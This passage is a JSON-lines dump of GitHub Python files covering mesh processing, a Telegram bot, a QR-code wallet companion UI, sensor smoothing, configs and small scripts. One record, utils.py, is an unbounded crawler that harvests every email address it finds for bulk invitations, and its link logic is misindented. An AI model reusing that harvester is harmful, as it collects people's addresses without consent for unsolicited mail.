(position[0]-mean_x_position)*(position[0]-mean_x_position)+(position[1]-mean_y_position)*(position[1]-mean_y_position)\n                                if distance_square < closest_distance_square:\n                                    closest_distance_square = distance_square\n                                    closest_point = [position[0],position[1]]\n                            key_point = [closest_point[0], closest_point[1]]\n                if key_point == []:\n                    key_point = [-1, -1]\n                    if_exist_road_node = 0\n                if_key_points.append(if_exist_road_node)\n                all_key_points_position.append(key_point)   \n        \n        if_key_points_array = np.array(if_key_points)\n        all_key_points_position_array = np.array(all_key_points_position)\n        \n        if (if_key_points_array.shape[0] != 4096) or (all_key_points_position_array.shape[0] != 4096) or (all_key_points_position_array.shape[1] != 2):\n            print(\"Image \" + file + \" has something wrong!\")\n            break\n        \n        mat_savepath = \"key_points/\" + file[:-4] + \".mat\"\n        scipy.io.savemat(mat_savepath, mdict={'if_key_points': if_key_points, 'all_key_points_position':all_key_points_position})\n        print(\"Image \" + str(imageID) + \": Finished!\") ","repo_name":"ShenweiXie/PaRK-Detect","sub_path":"preprocess/find_key_points.py","file_name":"find_key_points.py","file_ext":"py","file_size_in_byte":10123,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"22267436809","text":"import streamlit as st\nimport re\n# re for regular expression matching operations\nimport requests\nimport lxml.etree as xml\nimport lxml\n# requests for sending HTTP requests\nfrom urllib.parse import urlsplit\n# urlsplit for breaking URLs down into component parts\nfrom collections import deque\n# deque is a list-like container with fast appends and pops on either end\nfrom bs4 import BeautifulSoup\n#BeautifulSoup for pulling data out of HTML files of websites\nimport pandas as pd\n#pandas for formatting emails into a DataFrame for further manipulation\n\ndef scraper(original_url):\n  def list_diff(a, b):\n      r = []\n\n      for i in a:\n          if i not in b:\n              r.append(i)\n      return r\n      \n  different = []\n  invited = []\n\n  unscraped = deque([original_url])  \n  scraped = set()  \n  emails = set()  \n\n  while len(unscraped):\n      url = unscraped.popleft()  \n      scraped.add(url)\n      parts = urlsplit(url)\n      base_url = \"{0.scheme}://{0.netloc}\".format(parts)\n      if '/' in parts.path:\n        path = url[:url.rfind('/')+1]\n      else:\n        path = url\n      #print(\"Crawling URL %s\" % url)\n      try:\n          response = requests.get(url)\n      except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError):\n          continue\n      new_emails = set(re.findall(r\"[A-Za-z0-9_%+-.]+\"\n                                  r\"@[A-Za-z0-9.-]+\"\n                                  r\"\\.[A-Za-z]{2,10}\", response.text, re.I))\n      emails.update(new_emails) \n      soup = BeautifulSoup(response.text, 'lxml')\n      for anchor in soup.find_all(\"a\"):\n        if \"href\" in anchor.attrs:\n          link = anchor.attrs[\"href\"]\n        else:\n          link = ''\n          if link.startswith('/'):\n              link = base_url + link\n          elif not link.startswith('http'):\n              link = path + link\n          if not link.endswith(\".gz\"):\n            if not link in unscraped and not link in scraped:\n                unscraped.append(link)\n\n\n\n  df = pd.DataFrame(emails,\n                    columns=[\"Email\"])\n\n  df.Email = df.Email.unique() # Bu şekilde aynı listedeki unique'leri alır mükerrer olanlar drop edilir.\n\n\n  new = list(df.Email.values) # yani bir liste oluşturduk. Bu listeyi önceki mailler ile karşılaştıracağız. \n\n  different = list_diff(new,invited) # önceki mail gönderilen kümeden farkını alıyoruz bu şekilde\n\n\n  for i in different: # Bu yeni gelenleri de eklemiş olalım. \n    invited.append(i)\n\n  return different ","repo_name":"turkalpmd/email-finder-pubmed-for-editors","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"32786689948","text":"import tempfile\nimport os\nimport pickle\nfrom argparse import ArgumentParser\n\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as stats\nfrom scipy.spatial import ConvexHull\nfrom tqdm import tqdm\nimport pyvista as pv\n\n#searchdir = os.path.expanduser(\"~\") + '/cardiac/UKBB_40616/UKBB_motion_analysis/results/UKBB_01_2022'\nsearchdir = '/scratch/minacio/cache_vtks_cardiac_age'\ndata_path = '/root/cardiac/minacio/healthyageinggroup_t1.csv'\noutput_path = '/scratch/minacio/anonymized_data'\nmatched_points_path = '/scratch/minacio/anonymized_data/matched_points.txt'\nn_frames = 50\ndecimate_level = 0.9\n\ndf_cp_train = pd.read_csv(data_path)#.iloc[:20]\ndf_cp_train.sort_values('age_at_MRI', inplace=True)\ntrue_targets = df_cp_train['age_at_MRI']\nids = df_cp_train['eid_18545']\nmatch_subset = np.loadtxt(str(matched_points_path), dtype=int)[:, 1]\n\ncount = 0\nfaces = None\nmesh_dataset = []\ntarget_dataset = []\n\n#ids = ids[:30]\nfor idx, id_ in enumerate(tqdm(ids)):\n    if count == 0:\n        average_mesh = []\n        average_target = []\n\n    try:\n        instance_mesh = []\n        for frame in range(n_frames):\n            fname = f\"{searchdir}/{id_}/VTK/LV_endo/LVendo_fr{frame:02d}.vtk\"\n            polydata = pv.read(fname)\n            if faces is None:\n                faces = polydata.faces\n            instance_mesh.append(polydata.points)\n        instance_mesh = np.stack(instance_mesh)\n        instance_target = true_targets[idx]\n        count += 1\n        #print(f'Success for id {id_}')\n        \n    except Exception as e:\n        #print(f'Failed for id {id_}:', e)\n        continue\n        \n    if count < 10:\n        average_mesh.append(instance_mesh)\n        average_target.append(instance_target)\n    else:\n        mesh_dataset.append(np.stack(average_mesh).mean(0))\n        average_target.append(np.round(np.mean(instance_target)))\n        count = 0   \n    \nnp.stack(mesh_dataset)\ntargets_dataset = pd.DataFrame(enumerate(average_target), columns=['id', 'age'])\nos.makedirs(output_path, exist_ok=True)\ntargets_dataset.to_csv(f'{output_path}/targets.csv', index=False)\n\n\n# (n_instances, n_frames, n_vertices, 3)\ndecimated_meshes = len(mesh_dataset), n_frames, len(match_subset), 3 \ndecimated_meshes = np.empty(decimated_meshes) + np.nan\n\nvolumes_from_meshes = len(mesh_dataset), n_frames\nvolumes_from_meshes = np.empty(volumes_from_meshes) + np.nan\n\nfor idx, mesh in enumerate(tqdm(mesh_dataset)):\n    folder = f'{output_path}/vtks/{idx}/VTK/LV_endo'\n    os.makedirs(folder, exist_ok=True)\n    volumes = []\n    for frame in range(n_frames):\n        fname = f\"{folder}/LVendo_fr{frame:02d}.vtk\"\n        points = mesh_dataset[idx][frame]\n        polydate = pv.PolyData(points, faces)\n        polydate = polydate.decimate(decimate_level)\n        polydate.save(fname)\n        decimated_meshes[idx, frame, :] = points[match_subset]\n        volumes.append(ConvexHull(points).volume)\n        \n    volumes = np.array(volumes)\n    min_volume = np.argmin(volumes)\n    volumes = volumes[[*range(min_volume, 50), *range(min_volume)]]\n    volumes_from_meshes[idx] = volumes\n\nassert not np.isnan(decimated_meshes).any()\nassert not np.isnan(volumes_from_meshes).any()\n\nwith open(f'{output_path}/decimated_meshes.pkl', 'wb') as f:\n    pickle.dump(decimated_meshes, f)\n\nwith open(f'{output_path}/volumes_from_meshes.pkl', 'wb') as f:\n    pickle.dump(volumes_from_meshes, f)\n","repo_name":"ImperialCollegeLondon/GNN_cardiac_ageing","sub_path":"meshtools_repo/example/generate_anonymized_data.py","file_name":"generate_anonymized_data.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20097742054","text":"from datetime import datetime\n\nimport pytz\nfrom project.celery import app\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\n\nfrom posts.models import PublicGroup, Post, UserGroup\nfrom vkapi.api import process_groups, get_best_pictures\nfrom vkapi.group_ranker import rank_groups_for_user\n\nUSER_MODEL = get_user_model()\n\n\n@app.task\ndef update_best_posts(user_id):\n    user = USER_MODEL.objects.filter(id=user_id).first()\n    if not user:\n        print('Нет пользователя')\n    else:\n        api = user.get_api()\n        uid = user.get_uid()\n\n        if not (uid and api):\n            print('Нет uid или api')\n        else:\n            print('Обновляем пользователя {0}'.format(uid))\n            group_dict_list = rank_groups_for_user(api, uid)\n            group_ids = [group_dict.get('id') for group_dict in group_dict_list]\n            groups = process_groups(api, group_ids)\n            for group_dict in group_dict_list:\n                group_id = group_dict.get('id')\n                group = groups.get(group_id)\n                if group:\n                    group, _ = PublicGroup.objects.update_or_create(id=group_id, defaults=group)\n                    UserGroup.objects.update_or_create(user_id=user_id, group=group,\n                                                       defaults={'rating': group_dict.get('rating', 0.01)})\n                print('Обновлена группа {0}'.format(group_id))\n            print('-----')\n\n            for group_id, group in groups.items():\n                best_post_dicts = get_best_pictures(api, group_id)\n                for post_dict in best_post_dicts:\n                    post_vk_id = post_dict.get('vk_id')\n                    timestamp = post_dict.get('timestamp')\n                    timestamp = datetime.fromtimestamp(timestamp, pytz.timezone(settings.TIME_ZONE))\n                    post_dict['timestamp'] = timestamp\n                    Post.objects.update_or_create(vk_id=post_vk_id, group_id=group_id, defaults=post_dict)\n                print('Загружены посты из группы {0}'.format(group_id))\n            print('-----\\nВыполнено.')\n\n\n@app.task\ndef update_all():\n    for user in USER_MODEL.objects.all():\n        update_best_posts(user.id)\n","repo_name":"geoolekom/vkart","sub_path":"posts/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"1388038948","text":"import cv2\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\n\nimageName = \"dark.tif\"\nimg = Image.open(imageName)\nimg = img.convert(\"L\")\nwidth, height = img.size\n\narray = []\nfor x in range(width):\n    for y in range(height):\n        pixel = img.getpixel((x, y))\n        array.append(pixel)\n\n\nplt.hist(array, 255, facecolor='blue', alpha=0.5)\nplt.show()\n\nimg = cv2.imread('dark.tif', 0)\n\n# find frequency of pixels in range 0-255\nhistr = cv2.calcHist([img], [0], None, [256], [0, 256])\n\n# show the plotting graph of an image\nplt.plot(histr)\nplt.show()","repo_name":"ibneturabhassan/Digital_Image_Processing_Tasks","sub_path":"lab_3/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34007519478","text":"import tkinter\nimport tkinter.filedialog\nfrom tkinter import ttk\n#Needed for normalizing the filepath between different OSes.\nimport pathlib\n#imports for\n# import bytes\nimport qrcode\nimport base64\nimport json\n\nclass qrHelper:\n    def __init__(self):\n        #Future versions will use variable versions\n        self.QRVERSION = 7\n        self.METADATA_SIZE = 37\n        #the lenght limits of QR codes\n        #In the future will be used for variable lenght\n        self.QRLIMITS  = {}\n        self.QRLIMITS[\"2\"] = 32 #version 2 25x25\n        self.QRLIMITS[\"3\"] = 53 #version 3 29x 29\n        self.QRLIMITS[\"4\"] = 78 #version 4 3x33\n        self.QRLIMITS[\"5\"] = 106 #v5 37x37\n        self.QRLIMITS[\"6\"] = 230 #v6 53x53\n        self.QRLIMITS[\"7\"] = 2953 #v7  177x177\n\n\n    def calcNumFrames(self, _dataSize, _frameSize):\n        return (_dataSize // _frameSize) + (1 if (( _dataSize % _frameSize) > 0)  else 0)\n    def calcSize(self, _input):\n        size = len(_input)\n        return size\n    def createFrame(_data, _frameSize):\n        fullData = memoryview(_data).cast('c')\n        # sizeIN = len(_data)\n        sizeIN = len(fullData)\n        print(f\"size of tx {sizeIN}\")\n        framesNeeded = calcNumFrames(sizeIN, _frameSize)\n        print(f\"frames needed {framesNeeded}\")\n        print(f\"limit needed {_frameSize}\")\n\n        for x in range(0,framesNeeded):\n            start = x * _frameSize\n            stop = start + _frameSize\n            dataSlice = bytes(fullData[start:stop])\n            dataSlice = base64.b64encode(dataSlice).decode('ascii')\n            print(f\"On slice {x} size of data {len(dataSlice)}\")\n            frame = {\n            \"index\" : x,\n            \"total\" : framesNeeded,\n            \"data\" :  dataSlice\n            }\n            print(json.dumps(frame))\n            qr = qrcode.QRCode(\n                version=7,\n                error_correction=qrcode.constants.ERROR_CORRECT_L,\n                box_size=10,\n                border=4,\n            )\n            img = qrcode.make(frame)\n            # img.save(f\"outputImg/{x}.png\")\n            return img\n\n\nclass companionUI:\n    def __init__(self):\n        self.setupUI()\n        self.version = \"0.0.1\"\n        self.file2Send = None\n        self.file2Recieve = None\n    def getVersion(self):\n        return self.version\n    def setupUI(self):\n        print(\"setting up\")\n        self.rootUI = tkinter.Tk()\n        self.rootUI.minsize(300,500)\n        self.rootUI.title(\"MoneroSigner Companion\")\n        self.setupMenu()\n        self.setupSendFrame()\n        self.setupDivider()\n        self.setuprecieveFrame()\n        self.rootUI.mainloop()\n    # Setup menu sets up the file menu dialog\n    def setupMenu(self):\n        menubar = tkinter.Menu(self.rootUI)\n        menubar.config(bg=\"white\")\n        self.rootUI.config(menu=menubar)\n        fileMenu = tkinter.Menu(menubar)\n        fileMenu.add_command(label=\"Exit\", command=self.rootUI.quit())\n        menubar.add_cascade(label=\"File\", menu=fileMenu)\n\n        helpMenu = tkinter.Menu(menubar)\n        helpMenu.add_command(label=\"about\", command=lambda:print(\"about application\"))\n        menubar.add_cascade(label=\"Help\", menu=helpMenu)\n    def setupSendFrame(self):\n        #The Send Frame is the UI frame holding all the send transaction UI elements\n        sendFrame = tkinter.Frame(self.rootUI)\n        sendFrame.grid(row=0,column=0,  sticky=tkinter.EW)\n        sendFrame.grid_columnconfigure(0,weight=1)\n        self.rootUI.grid_columnconfigure(0,weight=1)\n        # sendFrame.config(bg=\"black\")\n        sendHeader = tkinter.Label(sendFrame, text=\"Send to Monerosigner\", height=1, font=('TkFixedFont', 16))\n        sendHeader.grid(row=0, column=0, pady=(5,10),  columnspan=3)\n        #setup the file select\n        sendFileSelectLabel = tkinter.Label(sendFrame, text=\"Unsigned Transaction to send:\", height=0, font=('TkFixedFont', 10))\n        sendFileSelectLabel.grid(row=2, column=0,  columnspan=2)\n\n        sendSelectFile = tkinter.Button(sendFrame, text=\"selectTx\", command=self.selectFile).grid(row=2, column=4)\n        sendStartSending = tkinter.Button(sendFrame, text=\"start\", command=self.send2signer).grid(row=3, column=4, sticky=tkinter.EW)\n    def setupDivider(self):\n        # sets up a divider UI element between the send and recieveFrame\n        divider = tkinter.ttk.Separator(self.rootUI, orient=tkinter.HORIZONTAL).grid(row=1,column=0,pady=(5,5), columnspan=12, sticky=tkinter.EW)\n    def setuprecieveFrame(self):\n        # recieveFrame is the UI frame holding all the recieve UI elements\n        recieveFrame = tkinter.Frame(self.rootUI)\n        recieveFrame.grid(row=2,column=0,  sticky=tkinter.EW)\n        recieveFrame.grid_columnconfigure(0,weight=1)\n        recieveHeader = tkinter.Label(recieveFrame, text=\"Recieve from Monerosigner\", height=1, font=('TkFixedFont', 16))\n        recieveHeader.grid(row=0, column=0, pady=(5,5), columnspan=3)\n        #label for recieve buttons\n        recieveFileSelectLabel = tkinter.Label(recieveFrame, text=\"Where to save Signed TX:\", height=0, font=('TkFixedFont', 10))\n        recieveFileSelectLabel.grid(row=2, column=0,  columnspan=2)\n        #revieve and save\n        recieveSelectFile = tkinter.Button(recieveFrame, text=\"txName\", command=self.selectFile).grid(row=2, column=4)\n\n        recieveStartSending = tkinter.Button(recieveFrame, text=\"start\", command=self.grids).grid(row=3, column=4, sticky=tkinter.EW)\n\n\n    def selectFile(self):\n        file = tkinter.filedialog.askopenfile(mode='r')\n        if file:\n            p = pathlib.Path(file.name)\n            print(p)\n            self.file2Send = p\n            return p\n        else:\n            return False\n    # function to debug number of grids\n    def grids(self):\n        x = self.rootUI.grid_size()\n        print(x)\n    def send2signer(self):\n        print(self.file2Send)\n","repo_name":"HackerIndustrial-web3/MoneroSigner-Companion","sub_path":"src/ui/companionUI.py","file_name":"companionUI.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14760766008","text":"from hcsr04 import HCSR04\r\nimport machine\r\nfrom time import sleep\r\nfrom random import randrange\r\nimport statistics\r\n\r\nsensor1 = HCSR04(trigger_pin=33, echo_pin=25, echo_timeout_us=10000)\r\nsensor2 = HCSR04(trigger_pin=18, echo_pin=5, echo_timeout_us=10000)\r\n\r\nsensor1DistList = [0,0,0,0,0,0,0,0,0,0]\r\nsensor1OldDist = 0\r\n\r\nsensor2DistList = [0,0,0,0,0,0,0,0,0,0]\r\nsensor2OldDist = 0\r\n\r\nwhile True:\r\n    try:\r\n        #print(\"Sensor1 cm:\", sensor1.distance_cm(), \"Sensor2 cm:\", sensor2.distance_cm())\r\n        sleep(0.1)\r\n        \r\n        #Get distance in CM from sensor1 and sensor2\r\n        dist1 = sensor1.distance_cm()\r\n        dist2 = sensor2.distance_cm()\r\n        \r\n        # remove first item in sensor1DistList and add the newest reading to the end\r\n        sensor1DistList.pop(0)\r\n        sensor1DistList.append(dist1)\r\n        print(sensor1DistList)\r\n        \r\n        # remove first item in sensor2DistList and add the newest reading to the end\r\n        sensor2DistList.pop(0)\r\n        sensor2DistList.append(dist2)\r\n        #print(sensor2DistList)\r\n        \r\n        # Printing median of sensor1DistList and sensor3DistList\r\n        if statistics.median(sensor1DistList) > 0 and statistics.median(sensor1DistList) < 400 or statistics.median(sensor2DistList) > 0 and statistics.median(sensor2DistList) < 400:\r\n            print(\"Median of sensor1DistList is : % s \" % (statistics.median(sensor1DistList)), \"Median of sensor2DistList is : % s \" % (statistics.median(sensor2DistList)))\r\n        else:\r\n            print(\"Out of range\")\r\n            \r\n    except KeyboardInterrupt:\r\n        print(\"Ctrl-C\")\r\n        machine.reset()\r\n\r\n","repo_name":"KevinLindemark/Rover","sub_path":"Rover_Example_snippets/dataSmoothing/hcsr04MovingMedian.py","file_name":"hcsr04MovingMedian.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10058775040","text":"import asyncio\nimport itertools\nimport logging\n\nfrom lib import telegram as tglib\nfrom conf import config\nfrom utils.functions import commands as bot_commands\nfrom utils.serialization import serialize_response as serialize\nfrom utils import command_parser\n\n\ntg_app = tglib.TelegramBot(token=config.TELEGRAM_BOT_TOKEN)\nlogging.basicConfig(level=logging.INFO)\n\n\nasync def send_response(command: str, message: str, function, chat_id: int):\n    \"\"\"\n    Dynamic choose function for send response to user (result of functions)\n    \"\"\"\n    response = {\n        'chat_id': chat_id, \n        'text': 'Command not found'\n    }\n    \n    if not function:\n        return await tg_app.send_message(response)\n    \n\n    send_type = {\n        'photo': tg_app.send_photo, \n        'text': tg_app.send_message\n    }\n    # do some work\n    result = function(message)    \n    \n    result_type = result['result_type']\n    response[result['result_type']] = result['result']\n    if function.__name__.endswith('cmd'):\n        response['parse_mode'] = 'MarkdownV2'\n    # Send typed response\n    await send_type[result_type](params=response)\n\n\n\nasync def main():\n    offset = 0      # last update id\n    for i in itertools.count(1):\n        data: dict = await tg_app.get_updates(offset=offset)\n\n        # Serialize data\n        tg_resp = serialize(data.get('result', []))\n\n        ready = bool(data['ok'])\n        \n        if tg_resp.results and ready:\n            result = tg_resp.results[0]\n            offset = result.update_id\n            offset += 1\n            result = result.dict()          \n            last_chat_text = result['message']['text']\n            last_chat_id = result['message']['chat']['id']\n            last_chat_name = result['message']['chat']['username']\n\n            command, message = command_parser.parse_user_message(last_chat_text)\n            if not message:\n                continue\n            await send_response(command, message, bot_commands.get(command), last_chat_id)\n\n            logging.info('[%s]: [%s]', last_chat_name, last_chat_text)\n\n        await asyncio.sleep(1)\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n","repo_name":"infnetdanpro/tg-helper-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37872726677","text":"import tensorflow as tf\nfrom lib.models.stacked_hourglass import StackedHourglass\nfrom lib.models.blocks import FrontModule\n\n# The inputs are 28x28 RGB images with `channels_last` and the batch\n# size is 4.\ninput_shape = (4, 28, 28, 3)\nx = tf.random.normal(input_shape)\ny = tf.keras.layers.Conv2D(\n    2, 3, activation='relu', input_shape=input_shape[1:])(x)\nprint(y.shape)\n\ninput_shape = (1, 256, 256, 3)\nfront_module = FrontModule(256)\nfront_module.build(input_shape)\nx = tf.random.normal(input_shape)\ny = front_module(x)\nprint(y.shape)\n\nmodel = StackedHourglass(2, 24, 256)\nmodel.build(input_shape)\ny = model(x)\nprint(y[-1].shape)\n\n","repo_name":"phivision/LiPose","sub_path":"test/conv2d_test.py","file_name":"conv2d_test.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74601980989","text":"# Desenvolva um programa que leia nome, idade e sexo de 4 pessoas. \n# No final do programa, mostre:\n\n# * A média de idade do grupo.\n# * Qual é o nome do homem mais velho.\n# * Quantas mulheres tem menos de 20 anos. \n\nsomaidade = 0\nmédiaidade = 0\nmaioridadehomem = 0\nnomevelho = ''\ntotmulher20 = 0\nfor p in range(1, 5): # p é pessoa\n    print('----- {}ª PESSOA -----'.format(p))\n    nome = str(input('Nome:')).strip()\n    idade = int(input('Idade: '))\n    sexo = str(input('Sexo [M/F]: ')).strip()\n    somaidade += idade\n    if p == 1 and sexo in 'Mm':\n        maioridadehomem = idade\n        nomevelho = nome\n    if sexo in 'Mm' and idade > maioridadehomem:\n        maioridadehomem = idade\n        nomevelho = nome\n    if sexo in 'Ff' and idade < 20:\n        totmulher20 +=1\nmédiaidade = somaidade / 4\nprint('A média de idade entre os participantes é de {} anos.'.format(médiaidade))\nprint('O homem mais velho tem {} anos e seu nome é {}'.format(maioridadehomem, nomevelho))\nprint('Ao todo são {} mulhere(s) com menos de 20 anos de idade.'.format(totmulher20))","repo_name":"luizhmfonseca/Estudos-Python","sub_path":"EXERCÍCIOS - meus códigos/EX56 - Leitura de dados, nome, idade.py","file_name":"EX56 - Leitura de dados, nome, idade.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"18606858070","text":"import os\nimport sys\nsys.path.insert(0, os.path.abspath(\"..\"))\n\n\n# -- Project information -----------------------------------------------------\n\nproject = \"Toyplot\"\ncopyright = u\"\"\"2014, Sandia Corporation. Under the terms of Contract\nDE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains certain\nrights in this software\"\"\"\nauthor = \"Timothy M. Shead\"\n\n# The full version, including alpha/beta/rc tags\nimport toyplot\nrelease = toyplot.__version__\n\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named \"sphinx.ext.*\") or your custom\n# ones.\n\nimport sphinx_rtd_theme\n\nextensions = [\n    \"nbsphinx\",\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.intersphinx\",\n    \"sphinx.ext.mathjax\",\n    \"sphinx.ext.napoleon\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx_rtd_theme\",\n]\n\nintersphinx_mapping = {\n    \"arrow\": (\"http://arrow.readthedocs.io/en/latest\", \"arrow.inv\"),\n    \"numpy\": (\"http://docs.scipy.org/doc/numpy-1.13.0\", \"numpy.inv\"),\n    \"pandas\": (\"http://pandas-docs.github.io/pandas-docs-travis\", \"pandas.inv\"),\n    \"python\": (\"http://docs.python.org/3.6\", \"python.inv\"),\n    \"PIL\": (\"http://pillow.readthedocs.io/en/3.2.x\", \"pillow.inv\"),\n    }\n\ntls_verify = False\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\n# The master toctree document.\nmaster_doc = \"index\"\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\"_build\", \"Thumbs.db\", \".DS_Store\"]\n\n\n# -- nbsphinx options --------------------------------------------------------\n\nnbsphinx_execute = \"never\"\n\nnbsphinx_prolog = \"\"\"\n .. raw:: html\n\n    <style>\n        .nbinput .prompt, .nboutput .prompt { display: none; }\n    </style>\n\n .. image:: ../artwork/toyplot.png\n    :width: 200px\n    :align: right\n\"\"\"\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n\nhtml_theme = \"sphinx_rtd_theme\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\n#html_static_path = [\"_static\"]\n\ndef warn_undocumented_members(app, what, name, obj, options, lines):\n    if what not in [] and len(lines) == 0:\n        print(\"WARNING: %s is undocumented: %s\" % (what, name))\n        lines.append(\".. Warning:: %s '%s' undocumented\" % (what, name))\n\ndef setup(app):\n    app.connect(\"autodoc-process-docstring\", warn_undocumented_members);\n\n","repo_name":"sandialabs/toyplot","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":423,"dataset":"github-code","pt":"60"}
+{"seq_id":"34165417167","text":"import os\n\nfrom miss_hit_core import pathutil\nfrom miss_hit_core.cfg_parser import load_config\nfrom miss_hit_core.errors import ICE, Error, Location, Message_Handler\nfrom miss_hit_core.cfg_ast import *\n\nDEBUG_TRACE_TREE = False\n# Enable to get spammed about where/how we build the config tree.\n\nCONFIG_FILENAMES = [\"miss_hit.cfg\", \".miss_hit\"]\n# Valid config file names. Any directory is allowed at most one.\n\nUSE_DOT_GIT = False\n# Consider a directory containing \".git\" a project root. In the future\n# this will be configurable through some global configuration\n# mechanism.\n\ntree = {}\n# Our database for configuration\n\nproject_names = {}\n# Our symbol table for project configuration\n\n\nclass Tree_Node:\n    def __init__(self, project_root, config_files):\n        assert isinstance(project_root, bool)\n        assert isinstance(config_files, list)\n\n        self.project_root      = project_root\n        self.config_files      = config_files\n        self.ast               = None\n        self.config            = None\n        self.subtree_included  = False\n        self.excluded_children = set()\n\n    def set_ast(self, ast):\n        assert isinstance(ast, Config_File)\n        self.ast = ast\n        if self.ast.is_project_root:\n            self.project_root = True\n\n\ndef register_project_name(mh, n_item):\n    assert isinstance(n_item, (Library_Declaration,\n                               Entrypoint_Declaration))\n\n    if n_item.name in project_names:\n        mh.config_error(n_item.location,\n                        \"duplicate definition, previous definition at %s\" %\n                        project_names[n_item.name].location.short_string())\n\n    project_names[n_item.name] = n_item\n\n\ndef register_parent(mh, options, dirname):\n    assert isinstance(dirname, str)\n    parent_dirname = os.path.dirname(dirname)\n\n    if dirname in tree:\n        return\n\n    if DEBUG_TRACE_TREE:\n        print(\"RP: %s\" % dirname)\n\n    # Check for a \".git\" directory. This would indicate we've found a\n    # project root.\n    if USE_DOT_GIT and os.path.isdir(os.path.join(dirname, \".git\")):\n        found_root = True\n\n    # Check if we're at the top of the filesystem\n    elif parent_dirname == dirname:\n        found_root = True\n\n    # Otherwise we probably continue up\n    else:\n        found_root = False\n\n    # Check if we have a config file present\n    config_files = []\n    if not options.ignore_config:\n        for cfg_filename in CONFIG_FILENAMES:\n            if os.path.isfile(os.path.join(dirname, cfg_filename)):\n                config_files.append(cfg_filename)\n\n    tree[dirname] = Tree_Node(found_root, config_files)\n\n    if len(config_files) > 1:\n        mh.config_error(Location(os.path.relpath(dirname)),\n                        \"multiple config files found; cannot find project\"\n                        \" root: please add a config file with the\"\n                        \" 'project_root' directive\")\n\n    elif config_files:\n        try:\n            cfg_file_ast = load_config(mh,\n                                       os.path.join(dirname, config_files[0]))\n            tree[dirname].set_ast(cfg_file_ast)\n\n        except Error:\n            cfg_file_ast = None\n\n        if cfg_file_ast is None:\n            mh.config_error(Location(os.path.relpath(dirname)),\n                            \"cannot find project root because the config file\"\n                            \" contains errors: please add a config file with\"\n                            \" the 'project_root' directive\")\n\n    if not tree[dirname].project_root:\n        register_parent(mh, options, parent_dirname)\n\n\ndef apply_config(mh, options, dirname, exclusions_only=False):\n    assert isinstance(dirname, str)\n    assert dirname in tree\n    parent_dirname = os.path.dirname(dirname)\n\n    node = tree[dirname]\n\n    # We already have configuration applied here. Nothing to do.\n    if node.config:\n        return\n\n    if DEBUG_TRACE_TREE:\n        if node.project_root:\n            trace_msg = \"Applying root\"\n        else:\n            trace_msg = \"Applying\"\n        if exclusions_only:\n            trace_msg += \" exclusions\"\n        else:\n            trace_msg += \" config\"\n        trace_msg += \" in %s\" % dirname\n        print(trace_msg)\n\n    # Set up new config: either the default configuration, or inherit\n    # from our parent. We only do this when we process the full\n    # config.\n    if not exclusions_only:\n        if node.project_root:\n            node.config = Config()\n        else:\n            node.config = Config(tree[parent_dirname].config)\n\n    # If we have a config file AST, apply it now\n    if node.ast:\n        for n_item in node.ast:\n            if isinstance(n_item, Directory_Exclusion):\n                for edir in n_item:\n                    if DEBUG_TRACE_TREE:\n                        print(\"  > Excluding %s\" % edir)\n                    excluded_path = os.path.join(dirname, edir)\n                    node.excluded_children.add(edir)\n                    if excluded_path in tree:\n                        tree[excluded_path].project_root = True\n\n            elif exclusions_only:\n                continue\n\n            elif isinstance(n_item, Project_Root):\n                # This will have been previously applied. We can ignore\n                # this.\n                pass\n\n            elif isinstance(n_item, (Library_Declaration,\n                                     Entrypoint_Declaration)):\n                register_project_name(mh, n_item)\n\n            else:\n                n_item.evaluate(mh, node.config)\n\n    # Finally, overwrite options that come from the\n    # command-line.\n    if not exclusions_only:\n        # Common options (from command_line.py) to all tools first:\n        if options.language is not None:\n            node.config.language = options.language\n        if options.ignore_pragmas:\n            node.config.pragmas = False\n        if options.ignore_justifications_with_tickets:\n            node.config.ignore_pragmas_with_tickets = True\n\n        # Specific options from mh_style:\n        if \"line_length\" in options and options.line_length:\n            